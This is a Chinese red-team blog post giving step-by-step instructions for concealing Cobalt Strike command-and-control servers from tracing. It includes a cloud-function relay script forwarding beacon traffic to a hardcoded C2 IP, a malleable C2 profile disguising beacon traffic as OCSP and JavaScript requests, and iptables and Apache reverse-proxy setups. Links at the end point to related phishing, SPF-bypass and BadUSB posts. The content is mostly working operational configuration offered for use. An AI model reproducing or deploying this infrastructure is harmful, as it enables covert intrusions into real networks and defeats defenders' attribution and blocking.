红队APT-流量隐匿篇&C2工具&反溯源&隐藏源IP&云函数&CDN节点&数据中转&反向代理

Ethan医生4周前信息收集47

 红队APT-流量隐匿-C2证书&特征分析

 红队APT-溯源隐藏-C2通讯&中转节点

#CDN

利用意义:

1、用于隐藏上线服务器IP

2、节点IP均为厂商上线

利用过程:

1、国内厂商备案域名配合

操作见打包文档

2、国外cloudflare域名配合

参考:https://mp.weixin.qq.com/s/EtO2kvt80dd7U_zHR4ZoYQ

 

#云函数:

服务商为企业和开发者们提供的无服务器执行环境,

帮助您在无需购买和管理服务器的情况下运行代码。

阿里云:https://www.aliyun.com/product/fc

腾讯云:https://console.cloud.tencent.com/scf/

华为云:https://developer.huawei.com/consumer/cn/agconnect/cloud-function/

百度云:https://cloud.baidu.com/product/cfc.html

移动云:https://ecloud.10086.cn/home/product-introduction/sfc

天翼云:https://www.ctyun.cn/products/hsjs

字节跳动轻服务:https://qingfuwu.cn/

AWS Lambda:https://aws.amazon.com/lambda/

Google Firebase:https://firebase.google.com/

Azure Function:https://azure.microsoft.com/en-us/services/functions/

 

利用意义:

1、用于隐藏上线的服务器IP

2、域名白名单出网上线

 

利用过程:

1、创建云函数

2、创建函数服务

运行环境选择python3.6

并复制如下代码并修改CS的IP

# -*- coding: utf-8 -*-

import json,requests,base64

def handler(event, context):

C2='https://146.56.204.52:443' #https

#C2='https://146.56.204.52:80' #http

path=event['path']

headers=event['headers']

print(event)

if event['httpMethod'] == 'GET' :

resp=requests.get(C2+path,headers=headers,verify=False)

else:

resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)

print(resp.headers)

print(resp.content)

response={

"isBase64Encoded": True,

"statusCode": resp.status_code,

"headers": dict(resp.headers),

"body": str(base64.b64encode(resp.content))[2:-1]

}

#return event

return response

3、创建触发器

触发方式选择API网关(HTTP/S)触发-勾选启用集成响应-点击提交

4、配置触发器

点击API服务名对触发器进行配置

将路径修改为/{path+},然后点击立即完成

5、配合profileS修改URL

set sample_name "t";

set sleeptime "3000";

set jitter "0";

set maxdns "255";

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

 

http-get {

 

set uri "/api/x";

 

client {

header "Accept" "*/*";

metadata {

base64;

prepend "SESSIONID=";

header "Cookie";

}

}

 

server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Server" "Nodejs";

output {

base64;

print;

}

}

}

http-stager {

set uri_x86 "/vue.min.js";

set uri_x64 "/bootstrap-2.min.js";

}

http-post {

set uri "/api/y";

client {

header "Accept" "*/*";

id {

base64;

prepend "JSESSION=";

header "Cookie";

}

output {

base64;

print;

}

}

 

server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Connection" "keep-alive";

output {

base64;

print;

}

}

}

6、启动CS加载profile

./teamserver IP 密码 xxx.profile

 

#数据中转

1、转发机设置转发:(80443即https)

iptables -I INPUT -p tcp -m tcp --dport 1234 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 1234 -j DNAT --to-destination 146.56.204.52:2345

iptables -t nat -A POSTROUTING -j MASQUERADE

iptables -I FORWARD -j ACCEPT

iptables -P FORWARD ACCEPT

sysctl net.ipv4.ip_forward=1

2、CS监听器配置转发机IP:1234

 

#反向代理

1、代理机安装Apache

apt-get install apache2

a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http

systemctl restart apache2

2、中间件设置转发:

vim /etc/apache2/sites-enabled/000-default.conf

http:

ProxyPass "/" "http://CS的IP/"

ProxyPassReverse "/" "http://CS的IP/"

https:

ProxyPass "/" "https://CS的IP/"

ProxyPassReverse "/" "https://CS的IP/"

3、重启Apache服务

service apache2 restart

4、CS监听器配置转发机IP


标签: 红队APT

相关文章

红队APT-流量隐匿篇&安全测试&反拉黑&隐藏源IP&隧道代理池&秒切IP访问&绕防护设备

➢ 红队APT-流量隐匿-C2证书&特征分析➢ 红队APT-溯源隐藏-C2通讯&中转节点➢ 红队APT-溯源隐藏-IP通讯&反制拉黑溯源安全态势日...

红队APT-钓鱼投递篇&邮件系统&SPF绕过&自建SMTP&修改转发&Swaks伪造&Gophish平台

红队APT-钓鱼投递篇&邮件系统&SPF绕过&自建SMTP&修改转发&Swaks伪造&Gophish平台

➢ 红队APT-邮件钓鱼-软硬绕过SPF➢ 红队APT-邮件钓鱼-SendCloud转发➢ 红队APT-邮件钓鱼-Gophish批量系统前置内容:钓鱼邮件是指黑客伪装成同...

红队APT-钓鱼投递篇&近源攻击&BadUSB存储&C2上线&Arduino开发&代码植入&免杀方案

➢ 红队APT-近源攻击-BadUSB-上线C2#BADUSB准备工作:1、购买badusb,购买链接:https://detail.tmall.com/item.htm?id=606447...

红队APT-钓鱼投递篇&近源攻击&WIFI网络&AP节点创建&数据监控&WiFiPumpkin3项目

➢ 红队APT-近源攻击-WIFI-AP创建和监控#近源攻击-WIFI类https://mp.weixin.qq.com/s/QGGkDQcohM2HsXu_vz6idwWiFi-Pumpk...

红队APT-钓鱼投递篇&邮件系统&SPF绕过&自建SMTP&EwoMail配合Gophish转发&劫持网页

红队APT-钓鱼投递篇&邮件系统&SPF绕过&自建SMTP&EwoMail配合Gophish转发&劫持网页

➢ 红队APT-邮件钓鱼-软硬绕过SPF➢ 红队APT-邮件钓鱼-自建EwoMail➢ 红队APT-邮件钓鱼-Gophish批量域名:xdsec.icu服务器:Cento...

红队APT-流量隐匿篇&C2工具&加密数据&证书指纹&算法路径&Profiles规则&数据包特征

➢ 红队APT-流量隐匿-C2证书&特征分析#红队APT-流量隐匿-C2证书&特征分析1、证书相关:#NC-未加密&加密后-流量抓包对比nc -lvvp 5566nc...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。